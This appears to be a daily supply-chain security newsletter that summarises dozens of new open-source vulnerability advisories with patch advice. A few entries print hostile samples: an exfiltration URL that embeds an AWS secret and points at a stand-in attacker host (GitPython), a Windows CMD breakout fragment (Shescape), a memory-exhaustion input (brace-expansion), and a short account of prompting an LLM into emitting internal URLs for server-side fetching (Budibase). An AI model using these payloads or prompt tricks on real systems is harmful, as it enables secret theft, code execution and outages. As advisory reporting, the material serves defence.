Supply Chain · Watch Saturday · 25 July 2026 End-of-day synthesis 4 watches · 50 items

From the watchtower — what crossed the wire today.

A four-times-a-day standing watch on the open-source supply chain. Each pass pulls newly disclosed CVEs, freshly catalogued KEV adds, and active attacks reported in the wild — then ranks them by severity for the day.

The story of the day — The day's shape is the partial fix — GitPython and Pheditor both got hit again by the same bug class a prior patch was supposed to have closed, while six other platforms dropped chained multi-CVE batches in a single shot.

Today's disclosures arrived in clusters rather than singles: Budibase shipped six datasource-layer CVEs in one batch, Poweradmin's three bugs chain into a full unauthenticated-to-superuser takeover, and blaze's three HTTP-parser flaws combine into request smuggling behind any load balancer. OpenList, Hubuum's Rust client, and Shescape rounded out the pattern with three-to-four chained advisories each — none of today's batches were isolated one-offs.

The two arrivals just before this pass are the sharpest items on the board. sm-crypto's default SM2 key generation in Node.js falls back to Math.random() plus wall-clock time instead of a CSPRNG, so every private key from the default code path is recoverable — a 9.1 landing directly in cryptographic primitives rather than application logic. GitPython's fix for its env-var URL-expansion bug only patched clone_from(); create_remote()/Remote.add() and Submodule.add() still expand ${AWS_SECRET_ACCESS_KEY}-style tokens into .git/config and leak them to whoever controls the remote URL — Pheditor's terminal feature tells the same story from the other direction, where three prior metacharacter fixes closed shell injection but left an argument-injection path through find, git, php, and tar wide open.

→ Operational priority for the night patch GitPython past 3.1.53 and audit any CI job or dependency scanner that calls create_remote() or adds submodules from a user-supplied URL — that's the one most likely sitting exploitable in an automated pipeline right now.

18:00 ET · First Watch

Critical · GHSA · critical · CVSS 9.1 · npm · sm-crypto predictable SM2 key generation ·added 18:00 ET

sm-crypto: default SM2 key generation in Node.js falls back to Math.random() + wall clock instead of a CSPRNG

sm-crypto seeds its module-wide RNG through jsbn's SecureRandom, which checks `window.crypto` for a CSPRNG source — a check that's always false in Node, sm-crypto's primary runtime, so the fallback pool is filled from `Math.random()` (a recoverable V8 xorshift128+ stream) plus wall-clock time. Every SM2 private key and signing ephemeral scalar produced by the default, no-argument API is therefore a predictable function of two non-cryptographic inputs, and the PoC reproduces identical keys across fresh processes once those inputs are pinned. If anything in your stack calls `sm2.generateKeyPairHex()` or signs with sm-crypto's defaults in Node, treat those keys as compromised and wait for a patched release before regenerating.

High · GHSA · high · CVSS 7.5 · pip · GitPython env-var exfiltration (incomplete fix) ·added 18:00 ET

GitPython: Repo.create_remote()/Remote.add() still expand env vars into remote URLs — the clone_from() fix didn't cover this caller

The earlier fix for GHSA-rwj8-pgh3-r573 stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but `Remote.create()` — reached from the public `Repo.create_remote()` / `Remote.add()`, and also `Submodule.add()` — still expands with the default `expand_vars=True`. A URL like `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` gets the secret expanded into `.git/config` (or `.gitmodules`, a tracked file) and shipped to the attacker on the next fetch. Any CI job, dependency scanner, or git-hosting mirror that adds a remote from a user-supplied URL is exposed — patch past 3.1.53 and audit those code paths specifically, since the sibling `clone_from()` path is already safe.

High · GHSA · high · CVSS 7.5 · npm · brace-expansion unbounded expansion-length DoS ·added 18:00 ET

brace-expansion: unbounded result length lets a ~7.5KB input OOM-crash the Node process

`expand()` caps the *number* of results it returns (`max`, default 100,000) but not their *length* — chaining brace groups like `'{a,b}'.repeat(1500)` keeps the count under the cap while growing every result string, and the intermediate cons-string arrays at each recursion level stay reachable, exhausting the heap. The failure is a fatal, uncatchable V8 OOM error, not a thrown exception, so `try/catch` around `expand()` doesn't help — it takes down the whole process. brace-expansion sits under minimatch/glob in a huge fraction of the npm ecosystem; patch, or don't pass untrusted strings into glob brace patterns without an explicit small `max`/`maxLength`.

06:00 ET · Morning Watch

Critical · GHSA · critical · npm · Shescape CMD parenthesis injection ·added 06:00 ET

Shescape shell injection via unescaped parentheses on Windows CMD

Shescape — a library whose entire job is safe shell-argument escaping — fails to escape parentheses when the target shell is Windows CMD, letting an unescaped `) else if a==a (` sequence break out of the intended command and execute attacker-controlled branches. The advisory ships a working PoC against `escape`/`escapeAll` with `shell: "cmd.exe"` or the CMD default; any app relying on Shescape to sanitize input before `child_process.exec` on Windows is affected. Upgrade to v2.1.14 or v3.0.1 now — v2 also hits end-of-life on 2026-09-28, so plan the v3 migration regardless.

Critical · GHSA · critical · CVSS 10.0 · composer · Pheditor default-password auth bypass ·added 06:00 ET

Pheditor auth bypass in forced password-change flow via unverified current password

Pheditor's forced-password-change screen checks whether the *stored* password is still the default `admin` but never verifies the *submitted* current-password field — any non-empty value reaches the change form and sets an arbitrary new password without proving knowledge of the old one. CVSS 10 and a working curl PoC in the advisory; on any instance that never rotated the default credential, this is a straight-line unauthenticated takeover. If you run Pheditor, confirm the default password was actually changed and patch immediately.

Critical · GHSA · critical · CVSS 9.6 · maven · OpenDJ SASL PLAIN identity-assumption bypass ·added 06:00 ET

OpenDJ SASL PLAIN authzid bypasses the proxy ACI scope check

OpenDJ's SASL PLAIN handler checks the PROXIED_AUTH privilege but never evaluates the mayProxy ACI scope, so any account with proxied-auth can assume any resolvable non-root identity — not just the ones its proxy ACIs actually authorize. Every other proxy path in OpenDJ (RFC 4370 proxied-authorization, DIGEST-MD5, GSSAPI) enforces both checks; this is the one gap. Patch and audit which accounts hold PROXIED_AUTH — on a vulnerable build that privilege is effectively unrestricted directory-wide impersonation.

Critical · GHSA · critical · CVSS 9.4 · maven · OpenDJ DSMLv2 gateway SSRF/LFI/DoS ·added 06:00 ET

OpenDJ unauthenticated SSRF, local file read and unbounded-read DoS in the DSMLv2 gateway

The DSMLv2 SOAP gateway dereferences attacker-supplied `xsd:anyURI` values server-side with no scheme allowlist, egress filtering, or size cap — and it's reachable without authentication by default. A remote unauthenticated attacker can hit cloud metadata endpoints via SSRF, read local files with `file:` URIs, or exhaust memory with an unbounded response read, all through a single DSML add/modify request. Fixed in 5.1.2, which disables anyURI dereferencing by default and requires container-managed auth — if you expose this gateway, patch before anything else on this list.

High · GHSA · high · go · etcd TLS handshake goroutine exhaustion ·added 06:00 ET

etcd tlsListener.acceptLoop spawns unbounded handshake goroutines with no deadline

Any network attacker reaching an etcd TLS listener can open connections and never send a ClientHello; each one spawns a goroutine that blocks forever in the handshake, and unbounded goroutine/map growth exhausts memory. When etcd backs a Kubernetes control plane, that's a control-plane-wide DoS from a single open port. Patched in 3.7.1 / 3.6.14 / 3.5.33 — if you can't upgrade immediately, firewall the client port down to known hosts.

High · GHSA · high · CVSS 7.3 · pip · Bedrock AgentCore sandbox package-install RCE ·added 06:00 ET

AWS Bedrock AgentCore Python SDK: argument-delimiter injection in install_packages()

The `bedrock-agentcore` Python SDK's Code Interpreter client passes package names to `install_packages()` without neutralizing argument delimiters, so a crafted package specifier lets an authenticated caller run arbitrary commands inside the sandbox rather than just installing a package. Worth flagging directly for anyone building agents on AgentCore: if any user- or model-generated string reaches `install_packages()`, treat it as attacker-controlled. Upgrade to 1.18.1; until then, don't pass untrusted or model-generated input to that call.

High · GHSA · high · go · etcd Watch RBAC key-range bypass ·added 06:00 ET

etcd Watch API authorization bypass via open-ended range requests

A user granted READ on one exact key can use `clientv3.WithFromKey()` to open an open-ended watch and receive events for every key lexicographically at or after their permitted key — Range/Get and DeleteRange enforce RBAC correctly, only Watch doesn't. Only clusters with auth enabled are affected (unauthenticated clusters already allow full read). Patched in 3.7.1 / 3.6.14 / 3.5.33 — audit which principals hold narrow watch grants and confirm they can't already see this.

High · GHSA · high · CVSS 7.5 · rust · aws-smithy-http-server Slowloris DoS ·added 06:00 ET

Smithy-RS: unbounded resource allocation in aws-smithy-http-server's default serve() enables Slowloris DoS

The default `serve()` path in `aws-smithy-http-server` — which underpins Rust AWS SDK-generated servers — has no connection or header-read timeout and no concurrent-connection cap, so an attacker opening many connections and trickling partial requests can exhaust server sockets and tasks. Classic Slowloris, just in a code-generated framework people don't always think to front with their own timeouts. Upgrade to 0.66.5, or make sure a reverse proxy in front of the service already enforces connection timeouts.

High · GHSA · high · CVSS 7.5 · pip · py-libp2p yamux frame-length DoS ·added 06:00 ET

libp2p yamux connection DoS via oversized data frame

py-libp2p's yamux multiplexer reads a DATA frame's body length straight off the wire without validating it against the receive window, so any peer that completes a normal handshake can send a 12-byte frame header claiming a 4 GB body and block the victim's read loop indefinitely. No special setup required on either side, and it hits the default `new_host()` configuration. Patch and, if you can't yet, cap per-peer connection lifetime at a supervisor layer.

High · GHSA · high · CVSS 7.8 · go · Oh My Posh path-segment template RCE ·added 06:00 ET

Oh My Posh arbitrary command execution via template injection in the path segment

Oh My Posh renders the resolved working-directory path through Go's `text/template` engine, whose function map includes a `cmd` function that runs arbitrary OS commands — so a directory named with a template expression gets evaluated and executed the moment your prompt renders inside (or below) it. The default configuration is affected, no opt-in required. If you use Oh My Posh, patch now — this is the kind of bug a malicious archive or shared USB drive can trigger just by existing on disk.

High · GHSA · high · CVSS 7.5 · maven · OmniFaces combined-resource ID forgery ·added 06:00 ET

OmniFaces: forged combined-resource IDs enable memory-amplification and SSRF-adjacent output/push boundary abuse

OmniFaces accepts a path-derived combined-resource ID without checking it was actually server-issued, then inflates it with no output limit and caches every unique ID forever — researchers demonstrated 20KB of encoded input inflating to 16MB (about 770:1, ~49MB heap delta) and unbounded cache growth from 200 crafted IDs. One documented sink also performs a server-side fetch and relays the response body through a wildcard CDN mapping. Patch; if that's not immediate, rate-limit requests to the combined-resource endpoint.

High · GHSA · high · npm · Shescape quadratic-time flag-guard DoS ·added 06:00 ET

Shescape quadratic-time denial of service in flag-protection

A second Shescape advisory in today's batch: the flag-protection logic that guards against option-injection has quadratic-time behavior on crafted input, giving an attacker a CPU-exhaustion DoS through the same escaping calls apps use for safety. Combined with the critical CMD injection above, this is a rough week for Shescape's core promise. Same fix versions (v2.1.14 / v3.0.1) cover both — one upgrade, two advisories closed.

High · GHSA · high · CVSS 7.0 · pip · AWS API MCP Server policy-enforcement fail-open ·added 06:00 ET

AWS API MCP Server: security policy silently bypassed on startup initialization failure

If the AWS API MCP Server's security-policy data fails to load at startup, the server keeps running and silently skips the per-request policy check for the rest of the process's lifetime — configured deny/gate rules just stop being consulted, with no ongoing signal that enforcement is off. IAM permissions on the underlying credentials still bound what's possible, but the extra guardrail teams configure specifically to restrict an AI agent's AWS actions goes dark. If you run this MCP server with a security policy, check startup logs for initialization failures — a silent fail-open is exactly the failure mode you don't notice until something happens.

High · GHSA · high · CVSS 7.6 · go · OpenList batch-rename path traversal ·added 06:00 ET

OpenList: authenticated batch-rename can escape the base path via src_name traversal

OpenList's batch-rename API doesn't fully validate `src_name` for path-separator sequences, letting an authenticated user rename files outside the directory scope they're supposed to be confined to. Pair this with the two medium-severity OpenList disclosures below (file-read path-prefix confusion, search-metadata leakage) — same project, same class of path-handling gaps, three advisories in one batch. Patch and re-check any multi-tenant OpenList deployment's path-isolation assumptions.

High · GHSA · high · CVSS 7.5 · maven · http4s-blaze-server WebSocket aggregation DoS ·added 06:00 ET

blaze: unbounded WebSocket message aggregation in http4s-blaze-server

http4s-blaze-server aggregates incoming WebSocket frames into a message with no size cap, so a client can send an unbounded stream of small frames and exhaust server memory. One of three blaze advisories landing together — see also the header-sanitization bypass and request-smuggling entries below. If blaze is your production HTTP layer, this batch is worth patching as a set rather than one at a time.

High · GHSA · high · CVSS 7.4 · maven · blaze-http trailer-to-header smuggling ·added 06:00 ET

blaze: chunked-body trailer fields promoted into Request.headers (front-end header-sanitization bypass)

blaze-http promotes HTTP/1.1 chunked-transfer trailer fields into `Request.headers` after any front-end proxy has already sanitized the primary header block — so a value a WAF or reverse proxy stripped from headers can ride back in via trailers and reach application logic unfiltered. That's a classic request-smuggling-adjacent bypass of defenses teams assume are authoritative. Audit anything downstream of blaze that trusts header-based sanitization at the edge.

High · GHSA · high · CVSS 7.4 · maven · blaze wire-parser request smuggling ·added 06:00 ET

blaze: multiple HTTP/1.1 request-smuggling primitives in blaze's Java wire parser

The third blaze advisory in this batch: the Java wire parser has multiple distinct request-smuggling primitives, meaning a front-end/back-end parsing disagreement can desync the connection and let one client's request get interpreted as another's. Request smuggling behind a load balancer is a cache-poisoning and auth-bypass vector, not just a correctness bug — treat all three blaze CVEs in today's batch as one incident and patch together.

High · GHSA · high · CVSS 8.1 · composer · Poweradmin OIDC identity-collation takeover ·added 06:00 ET

Poweradmin: OIDC sub collation bypass leads to account takeover

Poweradmin's OIDC login flow matches the `sub` claim against local accounts using a collation that treats distinct identifiers as equal, letting an attacker who controls an OIDC identity with a colliding `sub` value log in as a different local user. First of three Poweradmin advisories in this batch. If Poweradmin is wired to an external OIDC provider, patch before the account-model IDOR and password-reset bugs below make the collision more useful.

High · GHSA · high · CVSS 8.1 · composer · Poweradmin cross-zone IDOR ·added 06:00 ET

Poweradmin: broken access control lets any zone owner modify DNS records in zones they don't own

A missing ownership check on Poweradmin's zone-record endpoints means any authenticated zone owner can edit DNS records belonging to a different tenant's zone — a straight IDOR with real blast radius, since DNS record tampering enables everything from mail interception to domain takeover. Second of three Poweradmin advisories today; if you run multi-tenant Poweradmin, this is the one to patch first.

High · GHSA · high · CVSS 8.8 · composer · Poweradmin API privilege-escalation to superuser ·added 06:00 ET

Poweradmin: API user-update endpoint lets a non-admin reset any user's password and take over the superuser account

The third Poweradmin advisory: the API user-update endpoint doesn't restrict which accounts a caller can modify, so a non-admin user can reset the superuser's password and fully take over the instance. Combined with the OIDC collision and cross-zone IDOR above, today's Poweradmin batch is effectively a full compromise chain — patch all three together, not piecemeal.

High · GHSA · high · pip · vantage6 pending-review algorithm tampering ·added 06:00 ET

vantage6: an algorithm developer can edit another developer's algorithm while it's pending review

vantage6's algorithm-review workflow doesn't restrict edit access to the submitting developer, so another developer can modify an algorithm that's sitting in a pending-review queue — undermining the review's integrity for federated-analysis pipelines where reviewers are meant to be approving exactly what gets executed against member data. Worth a look if you run vantage6 for multi-party analysis: verify the algorithm hash reviewers approved matches what actually ships.

High · GHSA · high · go · frp SSH tunnel gateway integer-overflow DoS ·added 06:00 ET

frp: unauthenticated remote DoS in the SSH tunnel gateway via integer overflow

frp's SSH tunnel gateway has an integer-overflow bug reachable without authentication, giving a remote attacker a denial-of-service against the gateway. frp is widely used for exposing internal services through NAT/firewalls, so a gateway-down condition can cut off legitimate tunneled traffic as a side effect. Patch, and if the SSH tunnel gateway is internet-facing, consider restricting it to known source ranges in the meantime.

High · GHSA · high · CVSS 7.5 · npm · @anephenix/hub WebSocket RPC waiter exhaustion ·added 06:00 ET

@anephenix/hub: unauthenticated WebSocket RPC waiter resource exhaustion

The RPC "waiter" mechanism in @anephenix/hub's WebSocket layer accepts unauthenticated requests without bounding how many outstanding waiters a client can register, letting an attacker exhaust server-side resources with a stream of RPC calls that never resolve. Straightforward DoS pattern — patch, or rate-limit RPC calls per connection at the proxy layer until you can.

High · GHSA · high · CVSS 8.8 · composer · Pheditor terminal allowlist argument-injection RCE ·added 06:00 ET

Pheditor: terminal command-allowlist bypass via argument injection leads to RCE (surviving vector after metacharacter fixes)

Pheditor's terminal feature allowlists command *binaries* by prefix match but never validates arguments, and the allowlist includes `find`, `git`, `php`, and `tar` — all of which grant arbitrary command execution through their own flags. Three prior Pheditor terminal advisories fixed shell-metacharacter injection (`$()`, pipes, semicolons); this is a different bug class (CWE-88 argument injection) that the metacharacter denylist never addressed, so it survived all three fixes. If you patched Pheditor's earlier terminal CVEs and considered the feature closed, it wasn't — patch again and consider whether the terminal feature needs to exist at all.

High · GHSA · high · CVSS 8.5 · npm · Budibase REST datasource DNS-rebinding SSRF ·added 06:00 ET

Budibase: SSRF via DNS rebinding in the REST datasource integration

Budibase's central SSRF guard (`fetchWithBlacklist`) validates and pins the target IP via a Node `http(s).Agent`, but the REST datasource integration issues its actual request through undici's `fetch`, which ignores the Node `agent` option and re-resolves DNS at connect time — silently defeating the pin. That means the DNS-rebinding protection added for a prior CVE (CVE-2026-54353) never applied to Budibase's most-used outbound path: an authenticated builder can point a REST datasource at a rebinding hostname and reach cloud metadata or internal-only services. First of six Budibase advisories in today's batch — patch the whole set together.

High · GHSA · high · CVSS 7.1 · npm · Budibase MongoDB NoSQL injection ·added 06:00 ET

Budibase: NoSQL injection in MongoDB integration enables collection dump, $where JS execution, cross-collection pivot

Budibase's MongoDB datasource integration passes unsanitized query parameters through to MongoDB, allowing NoSQL injection that can dump entire collections, execute arbitrary JavaScript via `$where`, pivot into collections the caller shouldn't be able to reach, and perform arbitrary update/delete operations. If any Budibase app in your org has a MongoDB datasource configured, this is close to full database compromise for an authenticated low-privilege user — patch this one first among the six.

High · GHSA · high · CVSS 7.7 · npm · Budibase chat-link account-link CSRF ·added 06:00 ET

Budibase: chat-link handoff identity confusion (same-tenant account-link CSRF)

A CSRF weakness in Budibase's chat-link handoff flow lets an attacker trick a victim into linking their account to an attacker-controlled identity within the same tenant, causing identity confusion between the two. Part of today's six-advisory Budibase batch — apply the coordinated patch rather than triaging each CVE in isolation.

High · GHSA · high · CVSS 7.6 · npm · Budibase MySQL backtick/multi-statement injection ·added 06:00 ET

Budibase: MySQL DESCRIBE backtick injection via multipleStatements in the database connector

Budibase's MySQL connector builds a `DESCRIBE` statement with unescaped backtick-delimited identifiers and runs it with `multipleStatements` enabled, allowing injection of additional SQL statements through a crafted table/column name. Same root problem as the MongoDB and chat-link entries above — Budibase's datasource layer trusted input it shouldn't have across several connectors at once. Patch the full batch.

High · GHSA · high · CVSS 8.3 · npm · Budibase MongoDB JSON-interpolation NoSQL injection ·added 06:00 ET

Budibase: NoSQL injection via JSON parameter interpolation in MongoDB query execution

A second, distinct MongoDB NoSQL-injection path in Budibase: JSON query parameters are interpolated into the executed query without sanitization, giving an authenticated user a second route to the same database-compromise outcome as GHSA-pmpg-2mxq-6xwr above. Two independent injection points into the same datasource in one disclosure batch — if you use Budibase's MongoDB integration, this isn't optional.

High · GHSA · high · CVSS 7.5 · npm · Budibase public user-lookup information disclosure ·added 06:00 ET

Budibase: unauthenticated user information disclosure via public tenant user lookup endpoint

A Budibase endpoint intended for public tenant user lookup returns more user information than it should, without requiring authentication — usable for account enumeration or reconnaissance ahead of the credential and injection issues in the rest of this batch. Sixth and last of today's Budibase advisories; patch closes all six at once.

Medium · GHSA · medium · npm · FrontMCP OpenAPI adapter SSRF ·added 06:00 ET

FrontMCP: SSRF in the OpenAPI adapter spec-change handling

FrontMCP's OpenAPI adapter fetches spec URLs on spec-change without validating the target, giving an authenticated user an SSRF primitive against internal services. Patch if you run FrontMCP with adapter-based OpenAPI ingestion from user-supplied spec URLs.

Medium · GHSA · medium · go · kin-openapi validator nil-pointer DoS ·added 06:00 ET

kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating malformed input

A malformed request to a service using kin-openapi's `openapi3filter` for request validation can trigger a nil-pointer dereference and crash the process — an easy, unauthenticated DoS against anything using this library for schema validation at the edge. Patch; low complexity to exploit, low complexity to fix.

Medium · GHSA · medium · npm · Quasar extend() prototype pollution ·added 06:00 ET

Quasar: prototype pollution in the extend() utility

Quasar's `extend()` merge utility doesn't guard against `__proto__`/`constructor.prototype` keys, allowing prototype pollution when merging attacker-influenced objects. Standard prototype-pollution triage applies: check whether any Quasar app passes user-controlled objects into `extend()`, and patch.

Medium · GHSA · medium · CVSS 6.1 · go · Oh My Posh ANSI/OSC escape injection ·added 06:00 ET

Oh My Posh: terminal escape sequence injection via unsanitized prompt segment data

Separate from the path-segment RCE above: Oh My Posh writes dynamic prompt content — directory names, git metadata, environment variables, command output — to the terminal without stripping raw ANSI/OSC control sequences, so attacker-controlled values in any of those fields can inject terminal escape sequences that execute on every prompt render. Different root cause and fix from the template-injection RCE, but the same project, same day — patch both together.

Medium · GHSA · medium · npm · Shescape Dash home-dir disclosure ·added 06:00 ET

Shescape: home-directory disclosure in assignment context on Unix with Dash

Third Shescape advisory in today's batch: an escaping edge case under Dash on Unix in variable-assignment context can leak the user's home-directory path. Low-severity information disclosure, same fix versions as the critical CMD injection above.

Medium · GHSA · medium · npm · Shescape Zsh path disclosure ·added 06:00 ET

Shescape: path disclosure on Unix with Zsh

Fourth and last of today's Shescape advisories: a similar path-disclosure edge case under Zsh. All four Shescape CVEs (one critical, one high, two medium) close with the same v2.1.14 / v3.0.1 upgrade — one patch, four advisories resolved.

Medium · GHSA · medium · go · OpenList share-creation path-prefix confusion ·added 06:00 ET

OpenList: arbitrary file read via path-prefix confusion in the share-creation API

The share-creation API's path handling can be confused by a crafted prefix into reading files outside the intended share scope. Second of three OpenList path-handling advisories today — see also the high-severity batch-rename traversal above.

Medium · GHSA · medium · go · OpenList search-metadata path-check leak ·added 06:00 ET

OpenList: search metadata/count disclosure via non-separator-aware path check

OpenList's search feature checks paths without being separator-aware, leaking metadata and result counts for content outside the searcher's intended scope. Third OpenList advisory in this batch — patch the project as a set rather than cherry-picking.

Medium · GHSA · medium · swift · swift-nio-http2 header-value validation gap ·added 06:00 ET

swift-nio-http2: missing CR/LF/NUL validation in header values

swift-nio-http2 doesn't validate header values for embedded CR/LF/NUL bytes, opening the door to header-injection-style abuse in anything that forwards those values into downstream protocols (logs, HTTP/1.1 translation) without its own filtering. Patch if you're on the Swift HTTP/2 stack.

Medium · GHSA · medium · go · Cloudreve OAuth-token-scoped SSRF via node test ·added 06:00 ET

Cloudreve: Admin.Read OAuth tokens can trigger server-side node test requests

A Cloudreve OAuth token scoped only to `Admin.Read` can still trigger the storage-node connectivity test, which makes a server-side request to an attacker-influenced target — a scope-boundary violation that turns a read-only token into a limited SSRF primitive. Patch, and review which OAuth scopes are handed to integrations.

Medium · GHSA · medium · cargo · Hubuum Rust client transport bypass ·added 06:00 ET

Hubuum client library (Rust): configured custom transports may be bypassed, exposing traffic to the default transport

When a Hubuum Rust client is configured with a custom transport (e.g., for a private network path or additional TLS pinning), certain code paths silently fall back to the default transport instead, sending traffic somewhere the caller didn't intend. Second of three Hubuum client advisories today.

Medium · GHSA · medium · cargo · Hubuum Rust client base-URL escape ·added 06:00 ET

Hubuum client library (Rust): authenticated requests may escape the configured base URL

A related Hubuum client bug: authenticated requests can, under certain input, be sent outside the configured base URL — meaning credentials meant for one Hubuum instance could be sent to an unintended host. Third Hubuum client advisory in this batch; review any pinned/private Hubuum deployments for both this and the transport-bypass issue above.

Medium · GHSA · medium · go · Kite k8s proxy path-traversal RBAC bypass ·added 06:00 ET

Kite: Kubernetes proxy path traversal allows authenticated users to bypass RBAC

Kite's Kubernetes API proxy doesn't fully normalize request paths before applying RBAC checks, so a crafted path can traverse past the intended resource scope and reach objects the caller's RBAC role shouldn't permit. If you run Kite in front of a cluster API, patch and re-verify RBAC boundaries are actually being enforced end-to-end.

Medium · GHSA · medium · npm · Budibase AI-table-generation SSRF ·added 06:00 ET

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Budibase's AI table-generation feature calls `uploadUrl()` with a bare `fetch(url)` and no SSRF blacklist check, so a builder can craft prompts that get the LLM to emit internal IPs or cloud-metadata URLs as attachment values, which the server then fetches directly. Same class of bug as the DNS-rebinding SSRF above, different code path — a second reason to treat AI-generated URLs as untrusted input in Budibase specifically. Part of today's six-advisory Budibase batch.

Medium · GHSA · medium · npm · Budibase login-lockout account enumeration ·added 06:00 ET

Budibase: account enumeration via login lockout response differential

Budibase's login-lockout responses differ depending on whether the submitted account exists, letting an attacker enumerate valid usernames/emails before attempting credential attacks. Low-severity on its own but useful reconnaissance ahead of the higher-severity Budibase issues in today's batch.

Medium · GHSA · medium · npm · Budibase OAuth2 token leak via automation broadcast ·added 06:00 ET

Budibase: OAuth2 token disclosure via automation test-results broadcast to other users

Automation test-run results in Budibase, which can include OAuth2 tokens captured during the run, get broadcast more broadly than intended and are visible to other users. Last of today's six Budibase advisories — rotate any OAuth2 credentials that may have been exposed through automation test runs, then patch.

Context · GHSA · context · cargo · Hubuum Rust client diagnostics data exposure ·added 06:00 ET

Hubuum client library (Rust): sensitive data may be exposed through default diagnostics

Rounding out today's three Hubuum client advisories: default diagnostic output can include sensitive data that shouldn't be logged or surfaced by default. Low severity, but worth disabling default diagnostics in production Hubuum client deployments alongside the transport and base-URL fixes above.